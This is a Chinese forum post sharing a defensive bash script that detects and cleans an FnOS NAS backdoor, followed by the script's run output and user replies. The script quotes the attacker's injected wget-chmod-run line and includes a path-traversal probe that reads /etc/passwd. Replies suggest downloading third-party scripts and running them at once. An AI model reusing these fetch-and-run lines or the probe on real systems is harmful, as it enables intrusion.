V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
请不要把任何和邀请码有关的内容发到 NAS 节点。

邀请码相关的内容请使用 /go/in 节点。

如果没有发送到 /go/in,那么会被移动到 /go/pointless 同时账号会被降权。如果持续触发这样的移动,会导致账号被禁用。
asuraa
V2EX  ›  NAS

飞牛 0day 后门专杀脚本

  •  
  •   asuraa · 1 月 31 日 · 2871 次点击

    TAD6S4N10G 股东群 1 内的大佬 @Lany 写的 更新了 6 个版本,我都测试没问题了。

    #!/bin/bash
    
    # ==========================================================
    # FnOS 安全应急处置工具(交互式 · v2.1 精准版)
    # ==========================================================
    # v2.1:
    #  - IOC 分级:STRICT / LOOSE ,严格特征才参与删除/修复
    #  - system_startup.sh 精准删除恶意行,避免误删正常 wget
    #  - 增加 cron 持久化排查
    #  - 增加哈希型 systemd 服务名检测
    #  - 文件隔离增加命中原因,进程清理更收敛
    # ==========================================================
    
    LOG_FILE="/var/log/fnos_security_fix.log"
    BACKUP_DIR="/root/fnos_quarantine_$(date +%F_%H%M%S)"
    
    # --- 威胁情报特征库 (IOCs) ---
    
    # 高置信度特征(可用于删除/修复)
    STRICT_REGEX="45\.95\.212\.102|151\.240\.13\.91|turmp|gots|trim_https_cgi|snd_pcap|killaurasleep|8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc"
    
    # 宽松特征(用于检测提示,不直接作为删除依据)
    LOOSE_REGEX="$STRICT_REGEX|bkd|bkd2|57132"
    
    MALICIOUS_IPS=("45.95.212.102" "151.240.13.91")
    MALICIOUS_DOMAINS=("xd.killaurasleep.top")
    MALICIOUS_FILES=("bkd" "bkd2" "8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc")
    
    SCAN_DIRS=(
        "/usr/bin"
        "/usr/sbin"
        "/usr/trim"
        "/tmp"
        "/var/tmp"
        "/fnos/usr/trim"
        "/root"
    )
    
    # ---------------- 基础函数 ----------------
    
    need_root() {
        if [ "$EUID" -ne 0 ]; then
            echo "❌ 请使用 root 权限运行( sudo -i )"
            exit 1
        fi
    }
    
    pause() {
        read -rp "👉 按回车继续..."
    }
    
    confirm() {
        read -rp "⚠️  $1 (y/N): " ans
        [[ "$ans" =~ ^[yY]$ ]]
    }
    
    log_init() {
        exec > >(tee -a "$LOG_FILE") 2>&1
        mkdir -p "$BACKUP_DIR"
        chmod 700 "$BACKUP_DIR"
    }
    
    banner() {
        clear
        cat <<'EOF'
    ====================================================
       FnOS 安全应急处置工具 v2.1 (精准 IOC 版)
    ====================================================
    ⚠️  覆盖威胁: gots / trim / snd_pcap / bkd / killaurasleep
    📌  操作逻辑: 隔离文件 -> 阻断网络 -> 清理服务 -> 修复启动项
    ====================================================
    EOF
    }
    
    # ---------------- 检测模块 ----------------
    
    path_traversal_check() {
        echo "🔍 [1] 检测路径穿越漏洞..."
        URL="http://127.0.0.1:5666/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/passwd"
        if curl -s --max-time 3 "$URL" | grep -q "root:x:0:0"; then
            echo "❌ [严重] 存在路径穿越漏洞(建议立即升级 FnOS 系统)"
        else
            echo "✅ 未触发路径穿越漏洞"
        fi
    }
    
    infection_scan() {
        echo "🔍 [2] 扫描是否已中招(基于最新情报)..."
        local hit=0
    
        # 1. 检查内核模块
        if lsmod | grep -q snd_pcap; then
            echo "❌ 已加载恶意内核模块: snd_pcap"
            hit=1
        fi
    
        # 2. 检查恶意进程(基于文件名)
        for proc in "${MALICIOUS_FILES[@]}"; do
            if pgrep -f "$proc" >/dev/null; then
                echo "❌ 发现疑似恶意进程正在运行: $proc"
                hit=1
            fi
        done
    
        # 3. 检查恶意 Systemd 服务文件内容
        if grep -RqsE "$STRICT_REGEX" /etc/systemd/system/ 2>/dev/null; then
            echo "❌ 在 Systemd 服务文件中发现恶意特征"
            hit=1
        fi
    
        # 4. 检查哈希型服务名
        for svc in /etc/systemd/system/*.service; do
            [ ! -f "$svc" ] && continue
            base=$(basename "$svc")
            if [[ "$base" =~ ^[0-9a-f]{64}\.service$ ]]; then
                echo "❌ 发现可疑哈希服务名: $base"
                hit=1
            fi
        done
    
        # 5. 特征扫描(关键位置,使用 STRICT )
        if grep -RqsE "$STRICT_REGEX" /fnos/usr/trim /etc/rc.local /etc/ld.so.preload 2>/dev/null; then
            echo "❌ 在系统关键位置发现恶意特征字符串"
            hit=1
        fi
    
        # 6. cron 持久化检查
        if grep -RqsE "$STRICT_REGEX" /etc/crontab /etc/cron.d 2>/dev/null; then
            echo "❌ 在系统级 cron 中发现恶意特征"
            hit=1
        fi
        if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
            echo "❌ 在 root 用户 crontab 中发现恶意特征"
            hit=1
        fi
    
        if [ "$hit" -eq 0 ]; then
            echo "✅ 未发现明显入侵迹象"
        else
            echo "⚠️  系统疑似已被入侵(建议执行自动修复模式)"
        fi
    }
    
    # ---------------- 修复模块 ----------------
    
    block_network() {
        echo "🛑 [3] 阻断恶意通信..."
    
        # 备份 hosts
        cp /etc/hosts "$BACKUP_DIR/hosts.bak" 2>/dev/null
    
        # 1. IP 封禁 (NFT / iptables)
        if command -v nft >/dev/null; then
            nft list table inet fnos_guard >/dev/null 2>&1 || nft add table inet fnos_guard
            nft list chain inet fnos_guard output >/dev/null 2>&1 || \
                nft add chain inet fnos_guard output { type filter hook output priority 0 \; }
            for ip in "${MALICIOUS_IPS[@]}"; do
                nft add rule inet fnos_guard output ip daddr "$ip" drop 2>/dev/null
            done
            echo "   - [防火墙] 已封禁恶意 IP (nftables)"
        elif command -v iptables >/dev/null; then
            for ip in "${MALICIOUS_IPS[@]}"; do
                iptables -C OUTPUT -d "$ip" -j DROP 2>/dev/null || \
                iptables -I OUTPUT -d "$ip" -j DROP
            done
            echo "   - [防火墙] 已封禁恶意 IP (iptables)"
        else
            echo "   - 未检测到 nft/iptables ,跳过 IP 封禁"
        fi
    
        # 2. 域名 Sinkhole (Hosts 劫持)
        for domain in "${MALICIOUS_DOMAINS[@]}"; do
            if ! grep -q "$domain" /etc/hosts; then
                echo "127.0.0.1 $domain" >> /etc/hosts
                echo "   - [Hosts] 已劫持域名: $domain"
            else
                echo "   - [Hosts] 域名已劫持: $domain"
            fi
        done
        echo "✅ 网络阻断策略已应用"
    }
    
    kill_process() {
        echo "🔪 [4] 终止恶意进程..."
    
        # 1. 基于文件名的进程
        for proc in "${MALICIOUS_FILES[@]}"; do
            pids=$(pgrep -f "$proc")
            if [ -n "$pids" ]; then
                echo "   - 正在终止进程: $proc (PID: $pids)"
                kill -9 $pids 2>/dev/null
            fi
        done
    
        # 2. 更精准:命令行中同时包含关键 IOC 的进程
        pgrep -af "bkd" 2>/dev/null | grep -E "killaurasleep|151\.240\.13\.91" | awk '{print $1}' | xargs -r kill -9 2>/dev/null
        pgrep -af "turmp" 2>/dev/null | awk '{print $1}' | xargs -r kill -9 2>/dev/null
    
        echo "✅ 进程清理完成"
    }
    
    clean_systemd_services() {
        echo "🧹 [5] 清理恶意 Systemd 服务..."
    
        # 1. 基于内容 IOC 的服务文件
        grep -lE "$STRICT_REGEX" /etc/systemd/system/*.service 2>/dev/null | while read -r service_file; do
            [ -z "$service_file" ] && continue
            service_name=$(basename "$service_file")
            echo "   🚨 发现恶意服务(内容命中): $service_name"
    
            systemctl stop "$service_name" 2>/dev/null
            systemctl disable "$service_name" 2>/dev/null
    
            chattr -i "$service_file" 2>/dev/null
            cp "$service_file" "$BACKUP_DIR/"
            rm -f "$service_file"
            echo "   - 已移除并备份服务文件"
        done
    
        # 2. 基于哈希型服务名的检测
        for service_file in /etc/systemd/system/*.service; do
            [ ! -f "$service_file" ] && continue
            service_name=$(basename "$service_file")
            if [[ "$service_name" =~ ^[0-9a-f]{64}\.service$ ]]; then
                echo "   🚨 发现可疑哈希服务名: $service_name"
                systemctl stop "$service_name" 2>/dev/null
                systemctl disable "$service_name" 2>/dev/null
    
                chattr -i "$service_file" 2>/dev/null
                cp "$service_file" "$BACKUP_DIR/"
                rm -f "$service_file"
                echo "   - 已移除并备份哈希服务文件"
            fi
        done
    
        systemctl daemon-reload
        echo "✅ Systemd 服务清理完成"
    }
    
    scan_and_quarantine() {
        echo "🔎 [6] 深度扫描并隔离文件..."
    
        for dir in "${SCAN_DIRS[@]}"; do
            [ ! -d "$dir" ] && continue
            echo "   正在扫描目录: $dir"
    
            find "$dir" -maxdepth 3 -type f -executable -mtime -30 2>/dev/null | while read -r f; do
                [ "$f" == "$0" ] && continue
    
                filename=$(basename "$f")
                match=0
                reason=""
    
                # 1. 文件名命中恶意列表(高置信度)
                for bad_name in "${MALICIOUS_FILES[@]}"; do
                    if [[ "$filename" == "$bad_name" ]]; then
                        match=1
                        reason="name-hit:$bad_name"
                        break
                    fi
                done
    
                # 2. 内容命中严格 IOC (更安全)
                if [ $match -eq 0 ]; then
                    if strings "$f" 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
                        match=1
                        reason="content-hit:STRICT"
                    fi
                fi
    
                # 3. 可选:内容命中组合 IOC (网络 + 域名)
                if [ $match -eq 0 ]; then
                    if strings "$f" 2>/dev/null | grep -q "151\.240\.13\.91" && \
                       strings "$f" 2>/dev/null | grep -q "killaurasleep"; then
                        match=1
                        reason="content-hit:IP+domain"
                    fi
                fi
    
                if [ $match -eq 1 ]; then
                    echo "🚨 发现威胁文件: $f  (原因: $reason )"
                    chattr -i "$f" 2>/dev/null
                    fuser -k "$f" 2>/dev/null
                    mv "$f" "$BACKUP_DIR/$(basename "$f")_$(date +%s).infected"
                    echo "   -> 已隔离至备份目录"
                fi
            done
        done
        echo "✅ 文件扫描完成"
    }
    
    remove_kernel_module() {
        echo "🧠 [7] 清理恶意内核模块..."
        if lsmod | grep -q snd_pcap; then
            echo "   - 发现 snd_pcap ,尝试卸载..."
            modprobe -r snd_pcap 2>/dev/null || rmmod -f snd_pcap 2>/dev/null
            if lsmod | grep -q snd_pcap; then
                 echo "❌ 卸载失败,可能需要重启系统进入恢复模式处理"
            else
                 echo "✅ snd_pcap 已卸载"
            fi
        else
            echo "ℹ️ 未发现 snd_pcap 模块"
        fi
    }
    
    fix_persistence_common() {
        echo "🔧 [8] 修复通用持久化配置..."
    
        # 修复 ld.so.preload (仅删除 STRICT 命中的行)
        if [ -f /etc/ld.so.preload ]; then
            if grep -Eq "$STRICT_REGEX" /etc/ld.so.preload; then
                echo "   - 修复 /etc/ld.so.preload"
                chattr -i /etc/ld.so.preload 2>/dev/null
                cp /etc/ld.so.preload "$BACKUP_DIR/ld.so.preload.bak"
                sed -i -E "/$STRICT_REGEX/d" /etc/ld.so.preload
                [ ! -s /etc/ld.so.preload ] && rm -f /etc/ld.so.preload
            fi
        fi
    
        # 修复 rc.local (仅删除 STRICT 命中的行)
        if [ -f /etc/rc.local ]; then
             if grep -Eq "$STRICT_REGEX" /etc/rc.local; then
                echo "   - 修复 /etc/rc.local"
                chattr -i /etc/rc.local 2>/dev/null
                cp /etc/rc.local "$BACKUP_DIR/rc.local.bak"
                sed -i -E "/$STRICT_REGEX/d" /etc/rc.local
             fi
        fi
    
        # 修复 cron (备份后删除 STRICT 命中的行)
        if [ -f /etc/crontab ]; then
            if grep -Eq "$STRICT_REGEX" /etc/crontab; then
                echo "   - 修复 /etc/crontab"
                cp /etc/crontab "$BACKUP_DIR/crontab.bak"
                sed -i -E "/$STRICT_REGEX/d" /etc/crontab
            fi
        fi
        if ls /etc/cron.d/* >/dev/null 2>&1; then
            for f in /etc/cron.d/*; do
                [ ! -f "$f" ] && continue
                if grep -Eq "$STRICT_REGEX" "$f"; then
                    echo "   - 修复 cron.d: $f"
                    cp "$f" "$BACKUP_DIR/$(basename "$f").bak"
                    sed -i -E "/$STRICT_REGEX/d" "$f"
                fi
            done
        fi
        if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
            echo "   - 修复 root crontab"
            crontab -l > "$BACKUP_DIR/root.crontab.bak"
            crontab -l | sed -E "/$STRICT_REGEX/d" | crontab -
        fi
    
        echo "✅ 持久化配置检查完成"
    }
    
    fix_fnos_system_startup() {
        FILE="/fnos/usr/trim/bin/system_startup.sh"
    
        echo "🔧 [9] 修复 FnOS 特定启动项..."
    
        [ ! -f "$FILE" ] && { echo "ℹ️ 未找到 $FILE ,跳过"; return; }
    
        # 仅用于判断是否疑似被篡改
        if grep -Eq "151\.240\.13\.91|turmp|killaurasleep" "$FILE"; then
            echo "❌ 在 system_startup.sh 中发现疑似恶意代码"
    
            chattr -i "$FILE" 2>/dev/null
            cp "$FILE" "$BACKUP_DIR/system_startup.sh.bak"
    
            # 精准删除已知恶意注入行:
            # wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
            sed -i '\|wget http://151\.240\.13\.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp|d' "$FILE"
    
            # 兼容未来 turmp 变种(仍然保持行为链特征)
            sed -i '/wget .*turmp .*chmod .*turmp .*\/tmp\/turmp/d' "$FILE"
    
            echo "✅ 恶意启动行已清除(原文件已备份)"
        else
            echo "✅ system_startup.sh 未发现异常特征"
        fi
    }
    
    # ---------------- 主流程 ----------------
    
    need_root
    log_init
    banner
    
    echo "请选择操作模式:"
    echo "  1) 仅检测(推荐先跑,无风险)"
    echo "  2) 自动修复(执行阻断、清理、修复)"
    echo "  3) 仅封禁网络(防火墙 + Hosts )"
    echo "  4) 退出"
    echo
    
    read -rp "请输入选项 [1-4]: " MODE
    
    case "$MODE" in
    1)
        path_traversal_check
        infection_scan
        ;;
    2)
        echo "----------------------------------------------------"
        echo "⚠️  注意:修复过程中会停止恶意进程并移动文件。"
        confirm "建议您已备份重要数据。是否开始执行?" || exit 0
        echo "----------------------------------------------------"
    
        block_network           # 先断网,防止下载新样本
        kill_process            # 杀进程,防止锁文件
        clean_systemd_services  # 清理 systemd 服务(含哈希服务名)
        remove_kernel_module    # 卸载内核模块
        fix_persistence_common  # 修复 rc.local / ld.so.preload / cron
        fix_fnos_system_startup # 修复 FnOS 特有脚本
        scan_and_quarantine     # 最后扫描残留文件
        ;;
    3)
        block_network
        ;;
    *)
        echo "👋 已退出"
        exit 0
    esac
    
    echo
    echo "===================================================="
    echo "✅ 操作已结束"
    echo "📁 隔离文件目录: $BACKUP_DIR"
    echo "📄 详细日志记录: $LOG_FILE"
    echo "💡 安全建议:"
    echo "   1. 立即修改 SSH 密码和 FnOS 后台密码"
    echo "   2. 检查 /root/.ssh/authorized_keys 是否有陌生公钥"
    echo "   3. 建议重启系统以确保所有内存加载项已清除"
    echo "   4. 如有疑虑,可将日志与隔离文件交给安全团队复核"
    echo "===================================================="
    

    咋用不说了吧? ssh 上去 root 权限执行

    我都杀了 6 次了,执行结果

    ====================================================
       FnOS 安全应急处置工具 v2.1 (精准 IOC 版)
    ====================================================
    ⚠️  覆盖威胁: gots / trim / snd_pcap / bkd / killaurasleep
    📌  操作逻辑: 隔离文件 -> 阻断网络 -> 清理服务 -> 修复启动项
    ====================================================
    请选择操作模式:
      1) 仅检测(推荐先跑,无风险)
      2) 自动修复(执行阻断、清理、修复)
      3) 仅封禁网络(防火墙 + Hosts )
      4) 退出
    
    请输入选项 [1-4]: 2
    ----------------------------------------------------
    ⚠️  注意:修复过程中会停止恶意进程并移动文件。
    ⚠️  建议您已备份重要数据。是否开始执行? (y/N): y
    ----------------------------------------------------
    🛑 [3] 阻断恶意通信...
       - [防火墙] 已封禁恶意 IP (nftables)
       - [Hosts] 域名已劫持: xd.killaurasleep.top
    ✅ 网络阻断策略已应用
    🔪 [4] 终止恶意进程...
    ✅ 进程清理完成
    🧹 [5] 清理恶意 Systemd 服务...
    ✅ Systemd 服务清理完成
    🧠 [7] 清理恶意内核模块...
    ℹ️ 未发现 snd_pcap 模块
    🔧 [8] 修复通用持久化配置...
    ✅ 持久化配置检查完成
    🔧 [9] 修复 FnOS 特定启动项...
    ℹ️ 未找到 /fnos/usr/trim/bin/system_startup.sh ,跳过
    🔎 [6] 深度扫描并隔离文件...
       正在扫描目录: /usr/bin
       正在扫描目录: /usr/sbin
       正在扫描目录: /usr/trim
       正在扫描目录: /tmp
       正在扫描目录: /var/tmp
       正在扫描目录: /root
    🚨 发现威胁文件: /root/fnos_quarantine_2026-01-31_153410/system_startup.sh_1769843919_1769844857.infected  (原因: content-hit:STRICT )
       -> 已隔离至备份目录
    🚨 发现威胁文件: /root/fnos_quarantine_2026-01-31_153410/accountsrv_1769844855.infected_1769844858.infected  (原因: content-hit:STRICT )
       -> 已隔离至备份目录
    ✅ 文件扫描完成
    
    ====================================================
    ✅ 操作已结束
    📁 隔离文件目录: /root/fnos_quarantine_2026-01-31_160749
    📄 详细日志记录: /var/log/fnos_security_fix.log
    💡 安全建议:
       1. 立即修改 SSH 密码和 FnOS 后台密码
       2. 检查 /root/.ssh/authorized_keys 是否有陌生公钥
       3. 建议重启系统以确保所有内存加载项已清除
       4. 如有疑虑,可将日志与隔离文件交给安全团队复核
    ====================================================
    
    21 条回复    2026-02-02 14:20:57 +08:00
    mooyo
        2
    mooyo  
       1 月 31 日   ❤️ 4
    已经被攻陷的设备是很难杀干净的,备份数据重装是最优解。
    flyqie
        3
    flyqie  
       1 月 31 日 via Android
    @mooyo #2

    确实,不过不知道这个洞之前在野利用范围有多大,debian 的各类自启点位还是蛮多的。。
    asuraa
        4
    asuraa  
    OP
       1 月 31 日
    @mooyo 今晚更新 1.1.18 彻底修复
    zhensjoke
        5
    zhensjoke  
       1 月 31 日
    如果不是疯狂的连接数导致路由掉线...这玩意真不知道什么时候才能被查出来。。
    zips
        6
    zips  
       1 月 31 日
    跑了下脚本,我的也中毒了,感谢
    et5494
        7
    et5494  
       1 月 31 日
    哥们你还是 fn 内部的啊?
    asuraa
        8
    asuraa  
    OP
       1 月 31 日
    @et5494 我不是啊,我听别人说的
    dilidilid
        9
    dilidilid  
       1 月 31 日 via iPhone
    这么严重的问题,重装换系统吧,如果真的一定要用飞牛放虚拟机做影视播放器吧。飞牛这态度还要硬着头皮放个人文档和照片啥的那只能尊重祝福了
    qianlongzt
        10
    qianlongzt  
       1 月 31 日
    @asuraa #4 消息来源?
    Adosh
        11
    Adosh  
       1 月 31 日   ❤️ 1
    脚本清不干净了,我看 system_startup.sh 出现了一个新的 ip43.198.11.122
    zips
        12
    zips  
       1 天前
    这个脚本不行,重启还会有病毒,建议用这个:
    curl -ksSL https://gitee.com/amdev/sh/raw/master/fn/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1 && chmod +x /usr/local/bin/fnos_xxck1 && fnos_xxck1
    zips
        13
    zips  
       1 天前
    其他的脚本(可以直接运行)
    curl -L http://static2.fnnas.com/aptfix/trim-sec -o trim-sec && chmod +x trim-sec && ./trim-sec

    wget http://static2.fnnas.com/aptfix/listautostart.sh && bash listautostart.sh
    Hconk
        14
    Hconk  
       1 天前 via iPhone   ❤️ 2
    这种脚本也就杀一下已知的端口进程服务,哪好说还有没有未活动被感染的程序,只负责下载器功能,一条指令就更新主控端继续隐藏了,只要被黑除非不打算再接入外网,都建议直接重装。
    ssyx
        15
    ssyx  
       1 天前
    已经更新至 1.1.18 的用脚本是否还能用脚本查询到是否被入侵?
    asuraa
        16
    asuraa  
    OP
       1 天前
    @qianlongzt 飞牛内部人员
    asuraa
        17
    asuraa  
    OP
       1 天前
    @ssyx 最好扫一下
    asuraa
        18
    asuraa  
    OP
       1 天前
    @Adosh 得把对外端口关了,否则还是被干
    nno
        19
    nno  
       8 小时 19 分钟前   ❤️ 1
    为什么感觉这个脚本是 AI 写的,也许稍微修改了下?
    jpyl0423
        20
    jpyl0423  
       5 小时 30 分钟前
    @nno #19 AI 最爱用 emoji 了
    ssyx
        21
    ssyx  
       5 小时 30 分钟前
    @asuraa 升级之后扫了提示没有,官方说升级 1.1.18 会自动查杀,所以不太确定有没有被入侵过,不过还是先把外网停了,谢谢大佬
    关于   ·   帮助文档   ·   自助推广系统   ·   博客   ·   API   ·   FAQ   ·   Solana   ·   2646 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 25ms · UTC 11:51 · PVG 19:51 · LAX 03:51 · JFK 06:51
    ♥ Do have faith in what you're doing.